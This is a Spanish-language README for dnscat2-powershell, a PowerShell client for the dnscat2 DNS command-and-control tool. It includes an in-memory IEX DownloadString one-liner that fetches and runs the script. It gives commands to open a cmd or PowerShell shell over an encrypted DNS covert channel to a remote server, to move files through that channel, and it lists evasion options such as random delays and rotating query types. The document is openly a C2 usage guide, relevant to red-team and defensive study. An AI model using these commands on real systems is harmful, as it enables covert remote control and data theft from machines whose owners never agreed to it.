
Un cliente de Powershell para dnscat2, una herramienta de comando y control mediante DNS cifrado.
dnscat2 es una herramienta de canal encubierto DNS por @iagox86 (Ron Bowes) que se utiliza para transferir datos a través de solicitudes DNS.
Esta es una versión de PowerShell del cliente C de dnscat2.
Haga clic aquí para una publicación en el blog que ofrece un desglose más detallado del propósito de este script y cómo usarlo.
Para usar este script, necesitarás el servidor dnscat2 en Ruby. Asegúrate de agregar la opción --no-cache al ejecutar el servidor. Este cliente es incompatible con el almacenamiento en caché del servidor.
Primero, instala el servidor dnscat2. Inicia el servidor con el almacenamiento en caché deshabilitado usando --no-cache. El comando para iniciar tu servidor debería verse algo así: ruby dnscat2.rb --dns="domain=example.com" --no-cache
A continuación, inicia Windows PowerShell (versión 2.0 o posterior). Puedes usar este comando para cargar las funciones de PowerShell de dnscat2:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 es la función real utilizada como cliente. Especifica el servidor dnscat2 usando -Domain.
Iniciar una sesión de comandos y enviar solicitudes DNS a 8.8.8.8 en el puerto 53:
Start-Dnscat2 -Domain <servidor dnscat2> -DNSServer 8.8.8.8
Enviar un shell cmd y enviar solicitudes DNS al servidor DNS predeterminado configurado en Windows:
Start-Dnscat2 -Domain <servidor dnscat2> -Exec cmd
Iniciar una sesión de consola. Usar solo solicitudes CNAME, MX y AAAA:
Start-Dnscat2 -Domain <servidor dnscat2> -LookupTypes @("CNAME","MX","AAAA") -Console
No cifrar la sesión. El cifrado está habilitado por defecto.
Start-Dnscat2 -Domain <servidor dnscat2> -NoEncryption
El cliente puede manejar comandos normales de dnscat2, o la versión de PowerShell de ese comando. Para usar la versión de PowerShell de un comando, establece parámetros específicos que el cliente detectará (Estos son comandos ejecutados desde una sesión de comandos en el servidor):
Iniciar una nueva sesión que simula un shell de PowerShell, como ExecPS:
exec psh
Subir app.exe en el servidor a una cadena hexadecimal almacenada en la variable de PowerShell $app:
upload app.exe hex:$app
Descargar la matriz de bytes almacenada en la variable de PowerShell $app a app.exe en el servidor:
download bytes:$app app.exe
-Domain <String> El dominio utilizado por el servidor dnscat2.
-DNSServer <String> El nombre de host o dirección IP a la que enviar consultas DNS. (Predeterminado: Establecido por Windows)
-DNSPort <Int32> El puerto al que enviar consultas DNS. (Predeterminado: 53)
-Command Iniciar una sesión de comandos. (Predeterminado)
-Exec <String> Vincular la E/S de un proceso con la sesión de Dnscat2.
-Console Vincular la E/S de la consola con la sesión de Dnscat2.
-ExecPS Simular una sesión de PowerShell y vincular la E/S con la sesión de Dnscat2.
ADVERTENCIA: Salir matará todo el cliente dnscat2, no solo la sesión.
-PreSharedSecret Establecer el mismo secreto en el servidor para autenticar y prevenir MITM.
-NoEncryption No usar cifrado.
-LookupTypes <String[]> Establecer una matriz de tipos de consulta para cambiar aleatoriamente.
Solo se admiten registros TXT, MX, CNAME, A y AAAA. Predeterminado: @(TXT, MX, CNAME)
-Delay <Int32> Establecer un retraso entre cada solicitud, en milisegundos. (Predeterminado: 0)
-MaxRandomDelay <Int32> Establecer el valor máximo de un retraso aleatorio agregado al retraso normal, en milisegundos. (Predeterminado: 0)
-MaxPacketSize <Int32> Longitud máxima de un paquete dnscat2. (Predeterminado: 240)
-Name <String> El nombre de tu sesión dnscat2. (Predeterminado: nombre de host)
dnscat2-powershell simula una sesión de PowerShell pasando datos del servidor a Invoke-Expression. Solo se devuelve stdout, y las variables se conservan mientras el cliente esté en ejecución. Cuidado con cosas que salen de PowerShell como "exit" y "break", porque todo el cliente dnscat2-powershell saldrá, no solo la sesión ExecPS.